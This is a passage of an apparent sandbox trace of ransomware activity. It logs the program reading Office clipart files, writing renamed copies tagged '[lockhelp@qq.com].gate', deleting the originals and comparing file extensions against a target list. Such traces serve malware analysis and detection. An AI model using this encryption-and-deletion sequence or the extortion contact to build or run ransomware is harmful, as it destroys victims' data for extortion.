lpNewFilePointer=0x0) returned 1 [0282.142] SetEndOfFile (hFile=0x418) returned 1 [0282.147] CloseHandle (hObject=0x418) returned 1 [0282.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0282.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.152] lstrlenW (lpString=".doc") returned 4 [0282.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.152] lstrlenW (lpString=".docx") returned 5 [0282.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.152] lstrlenW (lpString=".pdf") returned 4 [0282.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.152] lstrlenW (lpString=".xls") returned 4 [0282.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.152] lstrlenW (lpString=".xlsx") returned 5 [0282.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.152] lstrlenW (lpString=".ppt") returned 4 [0282.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.152] lstrlenW (lpString=".zip") returned 4 [0282.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.152] lstrlenW (lpString=".rar") returned 4 [0282.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.152] lstrlenW (lpString=".bz2") returned 4 [0282.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.152] lstrlenW (lpString=".7z") returned 3 [0282.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.152] lstrlenW (lpString=".dbf") returned 4 [0282.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.153] lstrlenW (lpString=".1cd") returned 4 [0282.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.153] lstrlenW (lpString=".jpg") returned 4 [0282.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.153] lstrlenW (lpString=".doc") returned 4 [0282.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.153] lstrlenW (lpString=".docx") returned 5 [0282.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.153] lstrlenW (lpString=".pdf") returned 4 [0282.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.153] lstrlenW (lpString=".xls") returned 4 [0282.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.153] lstrlenW (lpString=".xlsx") returned 5 [0282.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.153] lstrlenW (lpString=".ppt") returned 4 [0282.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.153] lstrlenW (lpString=".zip") returned 4 [0282.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.153] lstrlenW (lpString=".rar") returned 4 [0282.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.153] lstrlenW (lpString=".bz2") returned 4 [0282.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.154] lstrlenW (lpString=".7z") returned 3 [0282.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.154] lstrlenW (lpString=".dbf") returned 4 [0282.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.154] lstrlenW (lpString=".1cd") returned 4 [0282.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 68 [0282.154] lstrlenW (lpString=".jpg") returned 4 [0282.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.154] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.154] lstrlenW (lpString="AN04269_.WMF") returned 12 [0282.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0282.155] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2016) returned 1 [0282.155] CloseHandle (hObject=0x418) returned 1 [0282.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0282.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0282.155] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.156] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0282.156] GetLastError () returned 0x0 [0282.156] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x7e0, lpOverlapped=0x0) returned 1 [0282.241] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x7f0, lpOverlapped=0x0) returned 1 [0282.242] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0282.242] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0282.242] SetEndOfFile (hFile=0x394) returned 1 [0282.242] CloseHandle (hObject=0x394) returned 1 [0282.243] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.243] SetEndOfFile (hFile=0x418) returned 1 [0282.245] CloseHandle (hObject=0x418) returned 1 [0282.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0282.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.246] lstrlenW (lpString=".doc") returned 4 [0282.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.246] lstrlenW (lpString=".docx") returned 5 [0282.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.246] lstrlenW (lpString=".pdf") returned 4 [0282.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.246] lstrlenW (lpString=".xls") returned 4 [0282.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.247] lstrlenW (lpString=".xlsx") returned 5 [0282.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.247] lstrlenW (lpString=".ppt") returned 4 [0282.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.247] lstrlenW (lpString=".zip") returned 4 [0282.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.247] lstrlenW (lpString=".rar") returned 4 [0282.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.247] lstrlenW (lpString=".bz2") returned 4 [0282.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.247] lstrlenW (lpString=".7z") returned 3 [0282.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.247] lstrlenW (lpString=".dbf") returned 4 [0282.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.247] lstrlenW (lpString=".1cd") returned 4 [0282.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.247] lstrlenW (lpString=".jpg") returned 4 [0282.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.247] lstrlenW (lpString=".doc") returned 4 [0282.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.247] lstrlenW (lpString=".docx") returned 5 [0282.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.247] lstrlenW (lpString=".pdf") returned 4 [0282.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.247] lstrlenW (lpString=".xls") returned 4 [0282.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.248] lstrlenW (lpString=".xlsx") returned 5 [0282.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.248] lstrlenW (lpString=".ppt") returned 4 [0282.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.248] lstrlenW (lpString=".zip") returned 4 [0282.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.248] lstrlenW (lpString=".rar") returned 4 [0282.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.248] lstrlenW (lpString=".bz2") returned 4 [0282.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.248] lstrlenW (lpString=".7z") returned 3 [0282.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.248] lstrlenW (lpString=".dbf") returned 4 [0282.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.248] lstrlenW (lpString=".1cd") returned 4 [0282.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0282.248] lstrlenW (lpString=".jpg") returned 4 [0282.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.248] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.248] lstrlenW (lpString="AN04326_.WMF") returned 12 [0282.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0282.249] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3348) returned 1 [0282.249] CloseHandle (hObject=0x418) returned 1 [0282.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0282.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0282.249] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.249] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0282.250] GetLastError () returned 0x0 [0282.250] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xd14, lpOverlapped=0x0) returned 1 [0282.421] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xd20, lpOverlapped=0x0) returned 1 [0282.427] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0282.427] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0282.427] SetEndOfFile (hFile=0x394) returned 1 [0282.427] CloseHandle (hObject=0x394) returned 1 [0282.428] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.428] SetEndOfFile (hFile=0x418) returned 1 [0282.432] CloseHandle (hObject=0x418) returned 1 [0282.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0282.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.436] lstrlenW (lpString=".doc") returned 4 [0282.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.436] lstrlenW (lpString=".docx") returned 5 [0282.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.436] lstrlenW (lpString=".pdf") returned 4 [0282.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.436] lstrlenW (lpString=".xls") returned 4 [0282.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.436] lstrlenW (lpString=".xlsx") returned 5 [0282.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.437] lstrlenW (lpString=".ppt") returned 4 [0282.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.437] lstrlenW (lpString=".zip") returned 4 [0282.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.437] lstrlenW (lpString=".rar") returned 4 [0282.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.437] lstrlenW (lpString=".bz2") returned 4 [0282.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.437] lstrlenW (lpString=".7z") returned 3 [0282.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.437] lstrlenW (lpString=".dbf") returned 4 [0282.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.437] lstrlenW (lpString=".1cd") returned 4 [0282.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.437] lstrlenW (lpString=".jpg") returned 4 [0282.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.437] lstrlenW (lpString=".doc") returned 4 [0282.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.437] lstrlenW (lpString=".docx") returned 5 [0282.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.437] lstrlenW (lpString=".pdf") returned 4 [0282.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.437] lstrlenW (lpString=".xls") returned 4 [0282.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.437] lstrlenW (lpString=".xlsx") returned 5 [0282.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.438] lstrlenW (lpString=".ppt") returned 4 [0282.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.438] lstrlenW (lpString=".zip") returned 4 [0282.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.438] lstrlenW (lpString=".rar") returned 4 [0282.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.438] lstrlenW (lpString=".bz2") returned 4 [0282.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.438] lstrlenW (lpString=".7z") returned 3 [0282.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.438] lstrlenW (lpString=".dbf") returned 4 [0282.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.438] lstrlenW (lpString=".1cd") returned 4 [0282.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0282.438] lstrlenW (lpString=".jpg") returned 4 [0282.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.438] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.438] lstrlenW (lpString="AN04369_.WMF") returned 12 [0282.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0282.445] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=4808) returned 1 [0282.445] CloseHandle (hObject=0x4b0) returned 1 [0282.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0282.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0282.445] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.445] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0282.446] GetLastError () returned 0x0 [0282.446] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x12c8, lpOverlapped=0x0) returned 1 [0282.604] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x12d0, lpOverlapped=0x0) returned 1 [0282.605] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0282.605] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0282.605] SetEndOfFile (hFile=0x394) returned 1 [0282.605] CloseHandle (hObject=0x394) returned 1 [0282.606] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.606] SetEndOfFile (hFile=0x4b0) returned 1 [0282.608] CloseHandle (hObject=0x4b0) returned 1 [0282.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft 